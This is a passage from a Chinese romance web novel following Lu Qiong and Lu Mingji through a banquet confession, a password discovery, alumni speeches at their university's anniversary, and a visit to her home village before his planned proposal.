陆明霁为她做过很多,他想让她知道的,会想法设法设置提示给她,他不想让她知道的,就不会留下任何蛛丝马迹。 兴致冲冲去纽约找她,却得到那么个不尽人意的结果。 路琼心疼他,不愿再揭他伤疤。 她心思千回百转着,陆明霁毫无所觉,嘴还是钢板那么硬:“你那是错觉。” 路琼环着他肩背,下巴搁在他左肩上,无聚焦地盯着宴会厅里一处,她喃喃自语:“我也很爱你。” 宴会厅里放着交响乐,嘭的一声,一束光冲射向天空,下一瞬在空中炸开,绚烂烟花照亮整片夜幕。 盖过路琼的声音。 陆明霁真没听见,侧侧耳朵:“你说什么?” 路琼退出他怀抱,站好,直视着陆明霁,十足诚恳:“陆明霁,我爱你。” 音乐还在响,烟花还在放。 她左耳上的钻石耳环熠熠生辉。 可是其他杂音再大都不及路琼的一句表白,烟花、钻石再炫目都不如路琼那双深邃的眼睛。 陆明霁胸腔里那颗心脏像是安装上加速器,咚咚咚跳的欢快。 浓烈的情感在眼底汇集,他反手关上露台的门,一手捧着路琼右边脸颊,手指插.进她发间。 启唇咬住她。 口红掉不掉的, 他现在就先给她吃掉! * 路琼终于搞懂家门密码及陆明霁手机密码是在一个上班的午后。 她进尚嘉三个月,工作勤恳,意见犀利,专业极强,那些她初入职时的流言蜚语就在一日又一日的相处中淡化。 方歆甜在路琼身上学习到最有意义的一个优点就是,遇事不要慌,踏踏实实做事,不堪入耳的谣言早晚会被实力一一击破。 那天下午,路琼有点困。 今早她比往日早醒一个多小时,昨晚睡前她跟陆明霁在客厅看了部电影,这次是完整看下来,没干别的,水果吃有点多,早上没等闹钟响就先被生理需求叫醒。 去趟卫生间回来她就睡不着了,就没事找事骚扰陆明霁。 拨弄拨弄他睫毛,点点他嘴唇,再戳戳他鼻尖。 总之就把人也给弄醒。 陆明霁以为是到起床时间,一看手机还早着。 他问路琼怎么不睡觉,路琼说睡饱了。 还说她太无聊,说完就去亲陆明霁。 于是就自作自受,被反压在床上来了两次。 其实一次就能行,但第一次结束后,陆明霁往外撤时路琼夹了一下,指甲还凑巧掠过他喉结。 于是就有了第二次。 路琼发誓她真是不小心为之,又不是周末,她再馋陆明霁也不会不分时候地吃他。 还闹得差点迟到。 中午路琼躺在办公室沙发上补过一觉,醒来工作一会儿后还是困,就要拿杯子去茶水间冲个咖啡。 采编部几个人正围着长桌坐着唠嗑,享受下午茶时间。 路琼和葛晚棠都是国外留学、工作过回来的。 她们是国外那种资本家领导模式,只要能保证下发的工作在规定时间内保质完成,员工怎样分配工作时间,怎样摸鱼她们都不管。 这种新鲜模式最初实行时,尚嘉全体员工都挺战战兢兢,没人敢做出头鸟,就怕这是老板裁员的一种手段。 后来是葛晚棠亲自下场带领他们开了两次小差,他们才信。 尚嘉还很注重团队凝聚力,时常组织聚餐。 路琼私下里平易近人,开得起玩笑,还挺有梗,采编部的员工跟她也都逐渐打成一片。 方歆甜她们见到路琼进去,要么咬着饼干要么端着蛋糕的冲她打招呼。 路琼掩唇打着哈欠,颔首回应。 负责校对的郭珊趴在桌子上,举着手机愁眉苦脸:“这个密码怎么就是想不起来,我不想去找我前男友要验证码啊!” 柔情蜜意时注册的一个软件账号绑定前男友手机号,分手后密码给忘记,再想登上只剩验证码能救。 方歆甜停下冰激凌的搅拌,爱怜地摸摸郭珊的脑袋:“谁让你设置那么复杂的密码。” 郭珊闭上眼苦想着密码:“也没有很复杂吧,就英文加数字加标点符号,现在不都这种安全程度。” 方歆甜记性不好,能纯数字排列最好:“我都是名字九宫格对应数字再加特殊日期。” 音频师范月怡问:“什么名字九宫格……数字的?” “就是键盘切换成九宫格,你名字拼音对应的数字键。”方歆甜放下冰激凌,拿出手机实操:“就比如你叫范月怡,九键键盘就是399。” 她们闲聊着,路琼背对着她们研磨咖啡,深褐色液体自咖啡机里流出,咖啡豆烘焙过后的焦香飘散开来。 路琼困顿的思绪打结,没琢磨工作,就瞅着咖啡液发呆,听见方歆甜这么说,她手指无意识在吧台大理石面上划动。 路琼。 那九键键盘对应的数字就是57。 她一顿。 57。 57565。 瞌睡虫都跑走一大半,手机留在办公室,路琼等不及咖啡磨完,暂停咖啡机,就端着盛着三分之一咖啡液的杯子折返。 主编步履匆匆,方歆甜咬着冰激凌木勺目送:“怎么了这是。” 范月怡摊手:“你是主编助理你问谁呢。” …… 回到办公室,路琼都没绕回座位,就在办公桌边捞过手机。 随便找一个能打字的软件,换成九键。 猜测得到印证。 她都用二十六键,陆明霁也是用二十六,所以她从未往输入法键盘这方面想过。 就是不知道陆明霁是在她回国后设置的这个密码,还是分手那几年设置的。 哪种情况都不重要,重要的是陆明霁很爱她。 毋庸置疑。 她切到微信,点开陆明霁微信。 打字:【老公,我知道你的秘密了哦~】 第63章 追忆 七月初,路琼和陆明霁去了一趟京北。 作为杰出校友受邀参加京大一百二十周年校庆。 上次来京北,还是刚领证没多久,陆明霁在京北出差发烧。 那次行程仓促,没有空回母校故地重游。 再者,他们两个那时候关系还不熟,也没心情。 毫无疑问,这个“不熟”理论出自嘴硬王者陆明霁之口。 路琼持不同意见:“不熟你怎么还跟我睡一张床?” 陆明霁甩锅:“那是你自己躺上去的。” 此刻他们正在前往京北的飞机上,路琼人在陆明霁左边,揉捏着他的手,转动他无名指那枚戒指。 她说:“那你可以推我下去呀。” 陆明霁自持风度:“我不跟女人动手。” 路琼就笑。 陆明霁这人,服什么都不会服软,认什么都不会认输。 缘分真是个奇妙的东西。 谷蕴柠身为陆明霁的青梅竹马跟他一起长大,后来又成为她的好友,可谓是对他们二人了如指掌。 谷蕴柠常说,幼儿园起陆明霁就顶着他那张脸招摇撞骗,引得众多小女生青睐,勾得她们迷恋追求,然后一张嘴,就击碎无数少女心。 任谁使出浑身解数都打动不了的陆明霁,路琼无心地砸几颗糖衣炮弹就给拿下了。 京大有搞过什么校花校草的评选,但是各人眼光不同,审美不同,喜欢的类型也就不一致。 学生们投票选出的校花校草少说有十来个,那十来个男生的长相与陆明霁不相上下。 或许是情人眼里出西施? 路琼就是觉得陆明霁最好看。 路琼大学前十八年都在山沟沟里,没见过世面,初入繁花就碰到陆明霁这么个宝贝,被他所迷情有可原。 可陆明霁不是,他从小到大见过的好人好物数不胜数。 怎么就对她另眼相看呢。 这不是路琼妄自菲薄搞自卑,是事实就是如此。 路琼这么想着,就这么问他。 陆明霁高贵冷艳地乜一眼她:“因为你烦得特别。” 路琼眨巴着眼睛:“怎么特别?” 陆明霁憋不出好屁:“特别的烦。” “……” 路琼想装个生气,但她在陆明霁这儿就没有“生气”这个情绪模式,笑着啧一声,在他掌心拍一巴掌。 静谧的机舱里仅有发动机的微弱嗡鸣,路琼这一巴掌还拍的挺响。 隔壁陪着老婆一起回母校的彭靖驰闻声,探头探脑。 没看到理想中的场面,挺失落地靠回椅背:“还以为陆明霁被扇了呢。” 谷蕴柠都懒得搭理彭靖驰这白痴。 动动脚丫子都能想到,路琼扇谁都不可能扇陆明霁。 陆明霁在路琼心里,那可是能和她最爱的人民币划等号的人物。 那边陆明霁不知道自己兄弟想看他笑话没看成。 他攥住路琼的手,反玩回去。 她上飞机后就开始捏他手,也该到他把玩的时候了。 这些年路琼手部肌肤养得白净细腻,但年少时干过的活、受过的伤还是在她手上留下无法抹除的痕迹。 路琼双手骨节凸显,没有女性的柔软,更像男人的刚硬。 茧子倒是都消褪的七七八八,摸不出来存在感。 某些特定情境里,陆明霁还挺喜欢她手上的茧子。 有些颗粒感的粗糙,握住他时,那滋味难以言喻。 不过陆明霁还是最爱她双手干干净净,她的手能养尊处优就代表她生活不错。 陆明霁腿上搁着一台平板,屏幕上是密密麻麻的文字,他一目十行滑动着看。 把路琼的手递到唇边亲了一下。 …… 这次回京北,唐慕芮、麦青、魏锦航也在同行之列。 都是从京大毕业的,甭管杰不杰出,校友身份是百分百保真,就都一块去看看。 他们是早上九点的飞机,落地京北十一点左右。 出机场就坐上陆明霁安排好的商务车,先去酒店放行李。 一共开四间房,两对夫妻一对一间,两位女士一间,魏锦航孤家寡人自己一间。 但他不需要同情,还嘲笑一波其余六人,睡个觉还要跟别人挤,不像他,独自享用一张大床。 路琼他们五个听后笑笑就算,陆明霁可不是忍气吞声的主。 他怼灭魏锦航的嚣张气焰:“人,越没有什么就越强调什么。” 魏锦航嘁声:“我不跟你一般见识。” 陆明霁拿过前台呈递的房卡,拉着行李箱朝电梯走前,丢下一句:“男人可怜的自尊心。” “……” 没有人,真的, 没有人能在陆明霁的嘴下讨到好处。 酒店餐食味道还行,他们几人就在酒店十六楼的餐厅吃的午饭,吃完午饭就动身去京大。 京大正门口,就像每一个新学年迎新生那样,街道两侧摆满搭建起的简易台架,有社团表演还有一些学生摆摊卖东西做点小生意。 在京大校门,他们七人和急吼吼跑出来接他们的程桉汇合。 程桉本科毕业后留校读研,研究生毕业留校任教,就是未来一辈子都要扎根京大的意思。 进门口左手边第一家是校学生会,在售卖文化衫。 图案是拟人化的京大校徽,Q版卡通人物,T恤分为黑白两色。 唐慕芮看上眼,阔太似的大手一挥,给他们这一行人每人买一件,就连彭靖驰这个京大编外人员都有份。 男女分工,男生穿黑色,女生穿白色,陆明霁这少爷犯公主病,嫌黑色吸热,特立独行要穿白色。 T恤特意买大一号,不用再换,直接套在自己的衣服外面就好。 当年很喜欢陆明霁的一个教授在等他过去,也是他拍板邀请陆明霁回校演讲。 605宿舍四个女人有她们的回忆要怀念,八个人就分成男女两批,彭靖驰不是京大的学生也不认识那位教授,但是他跟融入不进女人组,只得跟着男人帮。 两组人就原地各奔东西,有事电话联系。 男人帮去计算机学院,605四人沿着岔口小道往宿舍楼那边去。 她们四人外出,向来是唐慕芮蹦蹦跳跳走在最前方,一会儿正着一会儿倒退,谷蕴柠夹在中间,时不时损唐慕芮两句。 落在末尾的麦青酷酷地揣着口袋,戴着一侧耳机。 路琼则是抱着书本,但现在没有课本给她,她就双臂自然下垂。 就这么一前一后,两两一组。 唐慕芮和谷蕴柠没心没肺无忧无虑,路琼和麦青会偶尔聊一些正经话题。 或家事或感情。 上一次涉足感情,是路琼回国后第二天。 彼时路琼一团乱麻,麦青还是老样子。 三四个月后,路琼沉疴的爱情重获新生,麦青的暗恋也迎来转机。 路琼再问一遍:“还没放下?” 麦青望着最前方那道活泼的身影,平静地笑笑:“快了。” 上个月,唐慕芮谈到新男友。 在她大学那次恋爱被伤害后,终于走出阴霾。 路琼看着麦青的笑容,眼前蓦地浮出一层朦胧。 怕被麦青瞧见,她垂下眼帘,缓缓呼吸着。 她很少哭,也不爱哭。 上大学后第一场眼泪送给605,就总会为她们湿润眼眶。 感情这事真没什么好劝的,在动心的那一刻,盈亏自负。 麦青这场暗恋注定无疾而终。 麦青早知会是这个结果,也在盼望尘埃落定的这一天到来,她看得开:“我们四个人,你们三个人都圆满,这就可以了。” 前方的唐慕芮颠颠跑回来,跳起来一把勾住谷蕴柠脖子,谷蕴柠被她拽地拧着上半身,气得骂她有病。 唐慕芮紧抱着她不放手,追忆往昔:“你们还记不记得咱们四个第一次见面?” “我最早到,路琼第二,我爸妈还要跟她聊天,我怕吓到她就赶紧送走我爸妈,回来宿舍里多出来个麦青。” “我给你们每个人都买了饮料,麦青特冷漠地拒绝我说不要,谷蕴柠那杯……那时候她还没来。” 她看向谷蕴柠:“我放你桌子上那杯饮料你怎么着了?” 猴年马月的事情,谷蕴柠一点印象都没有,以她的脾气大概率会:“扔了吧。” 被唐慕芮这么个小矮子搂着肩膀,弯腰弯得累死,谷蕴柠扒开她的两个爪子。 唐慕芮嗷嗷叫:“你居然扔了!那可是我给你的见面礼!” 谷蕴柠还是受不住唐慕芮的大嗓门,捂住她嘴:“我赔给你,你喝多少杯就买多少杯。” 唐慕芮上下活动着眼球,同意她的补偿。 谷蕴柠松开她,她继续说,矛头对准谷蕴柠:“谷蕴柠当时最拽,来的最晚还挑床铺,递给路琼一沓钱。” 唐慕芮学着那年初见面大小姐的傲慢态度:“我买,行了吧。” “……” 谷蕴柠去掐她脖子:“没用的你记这么清楚,平常这么不见你脑子这么好用!” 唐慕芮哪能被她抓住,泥鳅似的跑进宿舍楼。 谷蕴柠在后面追。 路琼在宿舍楼门口驻足,仰起头。 他们这一届入学那年,京大整体翻新过一次,还没到下一次翻修的时候,这些年风吹雨打的洗礼下,校园里每一栋楼都刻下岁月侵蚀的印记。 墙体颜色褪浅,几道不起眼的裂缝蜿蜒盘旋。 原来他们都已经毕业这么多年。 …… 605宿舍换过一批又一人,现在是大二学妹在住。 她们没有进去,在门口望一眼就已是圆梦。 又去逛完一圈教学楼,路琼接到陆明霁的电话,叫她去正门口。 不是非要捆绑在一起,其他三人揶揄她两句就放她去奔向爱人。 正门口人最多,陆明霁也没说好具体位置,路琼赶到那儿,环视四周,没找到陆明霁,从包里翻出手机要打电话给她。 “不好意思不好意思!麻烦让一下!” 东侧快步走来一个双手拎满饮品的男生,大声驱赶着前方人群。 路琼后退着,退到第三步,脚下一硌。 拎着饮品的外卖男孩已经过去,路琼都没看清踩到的人是谁,就又向前方躲避:“对不起对不起。” 这人的鞋还蛮熟悉,她边道歉边从下自上移。 男人身量很高,白T黑裤,没有细致打理的黑发慵懒又稍带凌乱,半遮半掩着立体的眉骨,一双丹凤眼狭长漂亮,薄唇勾着一抹浅笑。 冥冥之中自有定数。 旧的人会重逢,旧的事也会二次重现。 路琼放下手机,在包里摸出一片湿巾。 独立包装的片装湿巾,白色塑料封皮。 不见褶皱,平整光滑。 她弯起眼睛,递给陆明霁:“真是不好意思。” 为什么会对路琼另眼相看。 陆明霁也深思过。 大概是因为路琼有一双生机盎然的眼睛。 第一面,他就在那双眼睛里看到春天万物生长的景象。 第64章 一如当年 “你故意的?” 远离人潮拥挤的正门口,路琼被陆明霁带着到京大一处凉亭里休息,她喝着陆明霁去July买的冷饮,咬着吸管问他。 路琼只要用吸管就会咬瘪,是她的一个小癖好。 陆明霁拆开那片湿巾,擦着球鞋上路琼踩下的鞋印:“你当拍电视剧呢,我又不是导演还能预知剧情。” “那真是好巧。”路琼还挺喜欢这种偶像剧情节,她趴到他背上,下巴压着他肩膀,诉着陈年旧屈:“你当时对我特别凶。” 最初,路琼为自己的无心之过诚意道歉,却不被对方原谅。 她就觉得,这个男生长得这么漂亮怎么性格这么没礼貌。 后来追他,还有挺大一部分原因是她憋着一口气,就想着把这个男生拿下,再要他为自己的恶劣行径向自己低头认错,对自己俯首称臣。 追到手后,错陆明霁没认,路琼也忘却这一茬,但她确实做到后一项,让陆明霁这朵高岭之花拜倒在她的石榴裙下。 陆明霁擦干净鞋印,垃圾丢进空出来的饮品袋子里:“谁让你正好撞枪口上。” 他再去路琼包里找一片新湿巾擦手。 那年大一新生入学,陆明霁刚熬过一个通宵做项目,睡下没多久就被乌泱泱来报道的新生们吵醒。 他睡不醒的时候起床气很重,也是他该,忘记第二天是新生入学,图省事就在宿舍睡觉。 床上爬起来后他换上衣服就要回校外公寓,出宿舍接到他妈傅女士的电话,说谷蕴柠也考上京大了,叫他去接一接,陆明霁躲谷蕴柠还来不及,怎么会去接她。 挂断电话没走两步,谷蕴柠不知道从哪个犄角旮旯里蹿出来一把抱住他,一身香水味呛得他脑子发昏,甩开她后大步朝校门口走,就又被路琼那缺个轱辘的破行李箱划破新买的球鞋。 那时候陆明霁有两大人生爱好,一集手办,二买鞋。 那双球鞋限量定制款,他还耐着性子等了小半个月,第一次穿就被路琼给祸害。 单单只是一双鞋,也没什么。 层层buff叠加起来,陆明霁就忍不住了要爆发。 近十年前一件芝麻大小的事情,竟然还历历在目。 是因为这段回忆里有路琼在吧。 有她在,他才能记住那一场初遇。 路琼为自己抱不平:“那这么说,我算是遭受无妄之灾了?” 陆明霁觑她:“你哪无妄了,我鞋不是你弄坏的?” 路琼推卸责任:“行李箱划的又不是我,你去找它算账。” 跟这种活无赖,陆明霁无话可说。 人总是会对未曾涉足的那一条道或者是另一种版本的人生产生好奇心,路琼也不例外。 她做出假设:“如果那时候我没有划坏你的鞋,你说我们之后还会再见面吗?” 陆明霁半秒钟都不犹豫:“我从来不做这种无聊的想象。” 实际是他不能想。 他不能接受没有路琼的人生。 如果没有那次初遇、如果他们以后不会再见面—— 陆明霁极其厌恶且排斥这种如果。 “我觉得肯定会见面。”路琼扭过上半身,枕着陆明霁半边身体,眯起眼睛眺着晴朗天空,她举起手,阳光穿透她指缝倾泻:“我和谷蕴柠是室友,没有在校门口的初遇也会有在其他地方的初遇。” 陆明霁转过脸,下巴蹭过她发顶,白姜花香慰藉着他焦炙的心情。 好像是这样的。 不论如何设定,他们绝对会相识。 或早或晚,只是时间问题。 路琼和陆明霁,这辈子命中注定会有所交集。 …… 杰出校友特邀回校,可不是逛逛校园、买几件文化衫拉动一下学生会GDP就完事。 路琼和陆明霁两人都有演讲任务在身。 夫妻俩手牵手重走一遍校园里曾经约会过的地方,就分别前往各自学院的礼堂。 礼堂容纳不下整个学院全部的人,想来听听的人就来,不想的就随便去干些什么。 人文学院的学生们都还挺积极,礼堂里座无虚席。 主持人在台上cue着流程,开幕致辞、院长讲话、颁发奖学金,再是杰出校友演讲。 每个学院都有邀请两三位校友回来,在路琼之前毕业的一位学长,在路琼之后毕业的一位学妹。 路琼是三位校友里名气最大、呼声最高的一个。 她大一时,因和学校风云人物陆明霁谈恋爱而受到小范围关注,但这只是最微不足道的开端。 大小奖项拿到手软,连续三个学年拿到国家级奖学金,霸榜专业成绩第一等等等等。 她的光环由她自己打造。 优秀二字都不够形容完整的她。 路琼在主持人的引荐下上台,迎接她的是台下此起彼伏的欢呼声。 站到演讲台后,她调整好话筒高度,用千篇一律的自我介绍作为开场白:“大家好,我是一六级人文科学实验班的路琼。” 在接到导员的邀请电话后,路琼窝在家里落地窗前的懒人沙发里编写过好几天的稿子。 她一个文科专业生,从记者坐到主编的职位,写过不计其数、不分种类的长、短稿件,次次下笔如有神那纯属吹牛逼,但也没有过像这次的演讲稿这样无从下手的时刻。 A4纸撕掉一张又一张,那几天客厅到处都是她撕碎的纸屑,陆明霁那个洁癖忍着把她丢去楼道的欲望,臭着脸收拾她造出来的烂摊子。 演讲势必要鼓舞人心,就会带着说教意味,路琼讨厌教育别人。 人教人是教不会的。 直到今天,直到她站到舞台上,她都没有写出一篇完整的演讲稿。 “其实我还没想好要跟你们讲些什么,那些长篇大论的心灵鸡汤你们上网一搜都能连锅端,讲那些重复的道理太浪费时间,所以我准备带你们了解一下我。” 台下有大胆外向的男生女生们接话:“学姐我们知道你!” “学院光荣榜上学姐你那一栏都要写不下了!” “学姐你是吾辈楷模!” 路琼坦然收下这几句夸赞,浅笑着回一句谢谢,她一只手闲适地搭在演讲台边沿,唠家常那般切入:“我出生在西北一个非常贫困的山区里,我大学每次回家都要折腾一天一夜,从火车站坐大巴到县里,要是碰到同村的人可以搭个顺风三轮车,碰不到就要自己走小两个小时才到家,一六年智能手机人手一部,可我们村里有小灵通的才只有一两家。” “我没见过一面我的父亲,妈妈在我六岁因病去世,是外婆把我带大,要不是我学习成绩还不错,现在就不会站在这里跟你们聊天,而是会在山里种地。” 礼堂里窸窸窣窣的骚动愈来愈小,不再有人交头接耳,几分钟前起哄的那些学生们都收敛起嬉皮笑脸。 他们的目光,凝聚在演讲台那道笔挺的身影上。 “西北的冬天很冷,我家里全靠外婆种菜赚钱,买不够支撑整个冬天温暖度过的煤炭,就只能去捡树枝烧,我真的非常厌恶冬天,因为我伸不开手写字,还会长满手冻疮,我很能吃辣,因为我外婆说吃辣能御寒,的确很管用。” “我也会抱怨命运不公,为什么大家都是人只有我这么惨,还会埋怨我自己投胎技术不够好,可是这些无用功并不能让我的生活变好,反而会让我戾气越来越重,我外婆说永远不要把希望寄托在别人身上,那我就寄托给我自己,我要自救。” “先天条件已经定型,但是我不想就这样服输,我不承认我比别人低一等,一辈子只能在山沟里面朝黄土背朝天,我一定要出去看看。” 没有慷慨激昂,没有抑扬顿挫,路琼就平铺直叙地讲着她的经历,她稍顿,话锋一转:“还是临时做了碗鸡汤送给你们,就是你们不要害怕人生里的挫折和磨难,在场应该有很多人要比我的家庭条件好得多,我这种天崩开局都能出人头地,你们有什么不行的?” “在场应该也有人和我一样条件不好的,很自恋的说一句,我这个活例子就摆在你们眼前,你们有什么不行的?” “还有那些条件还不如我的,那又怎么样呢,有坎就跨过去,再差又能差到哪去呢。” 黄澄澄的聚光灯自上而下笼罩着路琼,她扎着高马尾,穿着白色T恤水洗蓝色牛仔裤,眼睛清亮,对未来的憧憬永不熄灭,一如当年的新生模样。 “最后,现在的我可以很坚定自豪的告诉十八岁的我。” 她说:“路琼,你真的很了不起。” 礼堂鸦雀无声。 她跨出一步,半鞠躬致谢。 下一秒,掌声雷动。 …… 路琼下台后给陆明霁发消息,问他还要多久。 两个学院的流程不一样,还没到陆明霁发言的环节。 路琼就说她这边忙完后过去找他。 剩下两位校友演讲完,三人又一起被请上台回答一些学弟学妹们的问题,传授点经验。 散场后还有几人来找路琼合照,男女都有。 所有都搞定,路琼出礼堂,手机里有一条未读消息。 陆明霁两分钟前发来,说他要上台了。 路琼加快往计算机学院那边赶。 人文学院和计算机学院不近不远,校内公交两站不够三站还多余。 等路琼从礼堂后门进去,陆明霁的演讲已经到达尾声。 他举着话筒说结束语:“有人跟我说过一句话,永远不要为自己的野心而感到羞愧,你配得上出现在你人生里的所有机遇,现在这句话我转送给你们。” 计算机学院还是会玩,会搞气氛。 人在舞台上讲着,舞台下划分出几个区域,每个区域都有一个话筒,随时都能向学长学姐们提问。 第一排就有个眼尖的女生自陆明霁上台便盯着他无名指的戒指,想到那些关于陆学长的传闻,还有他一个小时前巧合撞见陆学长和一个女人亲密无间的互动,第六感促使着她举手站起来:“学长,能冒味的问一下送你这句话的人是谁吗?” “是你女朋友吗?” 底下即刻发出一阵类似狼叫的哄闹声。 学术问题哪有八卦绯闻引人入胜。 陆明霁被调侃地不太自在,这群散发善意的小屁孩跟彭靖驰赵言钊那几个欠登有所不同,他张不开嘴攻击他们。 于是点头:“我是她丈夫。” 不是“她是我太太”。 而是“我是她丈夫”。 陆明霁没有给路琼增加身份,是让路琼赋予他身份。 “她叫路琼,是京大一六级人文科学实验班的学生。”陆明霁身姿挺拔站在舞台中央,唇角扬起的浅弧里一分眷恋九分郑重:“是我见过最有魅力的女人。” “没有之一。” 第65章 求婚【正文完】 第65章 正文完求婚 陆明霁最近很烦。 早知道路琼会赶上他演讲,还鸡贼地拍下他那一段跟表白没什么两样的结束视频,把他打死在舞台上他都不会说出那句腻歪又黏糊的话。 这下好了,路琼一天八百遍循环播放那段视频,音量开到最大,专门在他面前欣赏,公开处刑他。 还胆大包天的磨着他情景再现。 还有彭靖驰那个狗,他也有录像,录就录,录完还发到群里。 回沪市后赵言钊就筹划着要给他做一场法事驱驱.邪,忧心他被什么东西附体,不然怎么忽然会说人话了。 陆明霁这是亲手将把柄送给他们。 纯粹是自作孽不可活。 陆明霁从一开始的尴尬、脚趾抓地,在路琼和朋友们日复一日的刺激下,转变到后来的麻木不仁。 在他能平心静气面对那段视频后,路琼居然说要把这段视频作为他们婚礼的开、幕、视、频。 整得陆明霁都有点不想办婚礼了。 抛出去视频这个小插曲,陆明霁暂时不想办婚礼还有一个紧要原因。 那就是—— 他还没跟路琼求婚。 两人证都领了,戒指也都戴手上了,婚求不求的还有什么所谓。 以上是彭靖驰的个人观念,与陆明霁无关。 接收到陆明霁奇怪的眼神信号,彭靖驰不太爽:“你那什么眼神,我又说错什么了。” 陆明霁故作同情的放慢语速:“心疼你。” 彭靖驰浑身一震,鸡皮疙瘩开始往外冒:“……” 陆明霁淡定地扔出下文:“难怪谷蕴柠到现在还没答应你的求婚,毕竟你这蠢如猪的脑子也想不出什么能打动人的好主意。” 彭靖驰:“……” 无几把语。 两人是在陆明霁的办公室里,谷蕴柠出月子后,彭靖驰的陪产假也休到头,老老实实回琅域上班。 彭靖驰有个急事来找陆明霁商量,敲两下办公室门没等他同意就推门而进,正正好捉到陆明霁上班时间浑水摸鱼,办公桌上摆着好几分求婚策划。 彭靖驰一看就乐了,聊完正事人就不走了,老神在在地坐在椅子里,美其名曰替陆明霁把关出主意。 但是陆明霁这人太挑剔,二十来份求婚策划,没有一份能瞧上眼的。 谷蕴柠较他有过之而无不及,彭靖驰求婚都求了快两年,谷蕴柠就是不满意,还不指出哪儿不满意,就让他自己想。 依照陆明霁和陆明霁这吹毛求疵的性格,两人合该是一个娘胎里出来的亲兄妹才对。 提起这码事,彭靖驰就满心惆怅,他掏出根烟叼着,没抽。 谷蕴柠怀孕后他就把烟戒掉,馋的时候就咬着过过干瘾。 彭靖驰对谷蕴柠那可谓是知根知底,她的喜恶,与她有关的所有日期,就连她幼儿园讨厌的女生的名字他都如数家珍,可在结婚这方面,他真看不透她:“你说她们女人到底想要什么?” 陆明霁没搭话,他在翻日历。 求婚的日子也很有讲究,诸事不宜那种破日子万不能要。 七月份有几个日子还不错,日历下滑到八月份,陆明霁手指悬停在屏幕上方。 心里有个构想一闪而过。 …… 路琼不知道陆明霁抽什么疯,好端端的张罗着回她老家溜一圈。 说什么沪市太热,去西北避避暑。 去就去,路琼出国后就没再回过青省,回家看看也行。 现如今她兜里有钱,再也不需要图省钱,委屈自己提心吊胆做一天一夜的火车。 一张机票,三个多小时的航程,上午十点一刻出发,两点钟抵达青省机场。 乘机场快线到火车站转大巴,晃晃悠悠一个多小时,四点多钟到路琼老家的小山村。 坑坑洼洼的土道在她上大二那年就铺上水泥,通行要顺畅许多。 这项便于通行的功劳全都要归于陆明霁。 陆明霁在路琼大一下学期那年暑假辗转着过来找她,住小半个月回家后就去找他弟左柯让,让左柯让牵线联系李京屹,李家是房地产起家,度假村的项目承办过多次,他考察过路琼老家的环境,青山绿水,挺适合开发旅游业。 李京屹那时候也在上大学,但他已经进入家里公司帮忙。 陆明霁就想着让李京屹来带动一下山区经济发展。 跨省承办项目费时费力,紧赶慢赶,路琼出国后第一年才正式动工。 不过在此之前,陆明霁就自掏腰包将村里的土道翻修成水泥,村里几家土坯房他也出资修建,这样村民们知情感恩,路琼在外上学小老太太一人在家,他们会多多照顾着小老太太。 小山村如今焕然一新,度假村建成后,政.府也大力宣传岷县文化,每年夏季多是游客来岷县避暑旅游,居民生活水平得到显著改善。 原先简陋破旧的石砖房,最外围都贴上一层白净瓷砖,还有几家盖成二层小洋楼。 路琼家没有变化,一点没动,还是小老太太去世前的装修。 念及着陆明霁的大手笔,当年村民们感谢他的好心,对他记忆深刻。 而带陆明霁回来、被村民们从小看着长大的路琼,他们更是半点没忘。 路琼七年没回来,进村后,村长还是一眼就认出她。 扯着嗓子一招呼,家家户户都出来围着路琼和陆明霁嘘寒问暖,又是叫他们一会儿来家里吃晚饭,又是塞水果蔬菜给他们,妥妥一整个国宝级待遇。 陆明霁最烦陌生人没有边界感的触碰,但是他今天耐心出奇的好。 村民热情起来没完没了,还是村长出声喊停,打断他们问长问短,叫路琼和陆明霁先回家休息。 送他们两个到家门口,村长把钥匙还给路琼:“我都有定期过来打扫,家里干净着呢。” 路琼双手接过:“谢谢您。” 旧金色的钥匙插.进黑色的蠢笨锁头里,左转一圈,锁扣打开,她摘下来,推开门。 院子里铺着参差不齐的石板,菜圃不再是一片绿油油,仅分散长着几颗杂草,三间屋子窗明几净。 路琼就站在门口,仿佛下一秒钟,小老太太就会从屋里出来,骂她傻站在那里干什么,还不快进屋做饭。 陆明霁知道她在怀念着外婆,没催她,陪着她一起。 路琼没有缅怀逝者太久,那份恍如隔世的感觉平复好,她率先跨进院里:“再不回来看看,我都要找不到家门朝哪边开了。” 小老太太是在她大三下学期五月份去世的,她操劳一辈子,中年丧女又伤心耗神,看似身强体壮,实则内里亏空得厉害。 路琼是在小老太太病危住院那阵得知她腿疾严重到已经不能再行走,路琼大一上学期她还摔过一跤,怕路琼担心,隐瞒不报。 小老太太去世前,叮嘱路琼将她的骨灰撒到海里。 她生在大山深处死在大山深处,没见过一眼海,遗愿就是去海边走走。 路琼她妈的骨灰和她外公的一样,被小老太太在山顶洒下,都没立什么墓碑。 人不在,坟墓也无,路琼连个祭拜的地方都没有。 她是在出国后的某一天突然顿悟,小老太太想去看海是真的,不让她挂心也是真的。 如果死后埋葬在老家那边,就总会有一份牵挂勾着路琼,小老太太不觉得山旮旯是好地方,不希望她再回来,就希望她潇潇洒洒大步往前。 结果她还是回来了。 被陆明霁拐回来的。 村长是说时常给家里收拾着,但路琼想亲力亲为给家里做个大扫除。 她和陆明霁晚上不在家里住,好几年没回来,被子什么的都没有,他们在度假村订好房间,就是回家来瞧一瞧。 路琼找到两块抹布,打湿,分给陆明霁一块:“真能托梦的话,小老太太要是知道你带我回来,得骂死你。” 陆明霁非但不怕,还挺欢迎:“骂呗,顺便切磋一下骂人技术。” 陆明霁嘴毒起来谁的面子都不给。 他在路琼家里住那半个月,一天至少得跟小老太太拌三回嘴,早中晚各一次。 那段时间,家里闹得要死。 小老太太跟他吵架吵得面色红润,人都年轻不少。 但其实陆明霁有在让着小老太太,就是变着法哄她开心而已。 他这人就不会直来直往对别人好,就像一杯陈年酒酿,所作所为都要细细品味。 路琼问他:“真要放开骂,你俩到底谁能赢?” 这算是她心里的一个未解之谜。 陆明霁将抹布四四方方叠整齐:“外婆吧,她不总说她骂过的脏话比我吃的饭都多么。” 路琼稍加思考,赞同陆明霁的结论。 陆明霁从不说脏字,他就纯嘲讽别人,拐着弯刺别人,小老太太不,她一个村妇,骂街的脏词都能编辑出来一本新华字典。 两人一边聊着天一遍拾掇屋子。 到夜幕降临,晚饭时间,村长过来叫他们去家里吃饭。 盛情难却,席间不断有人给他们两个夹菜,一顿晚饭他们吃到最后都要扶墙出门。 度假村距离村子两公里左右,两人撑得很,散着步溜达回去。 到房间,路琼还是撑,把陆明霁拽进浴室来了场消食运动。 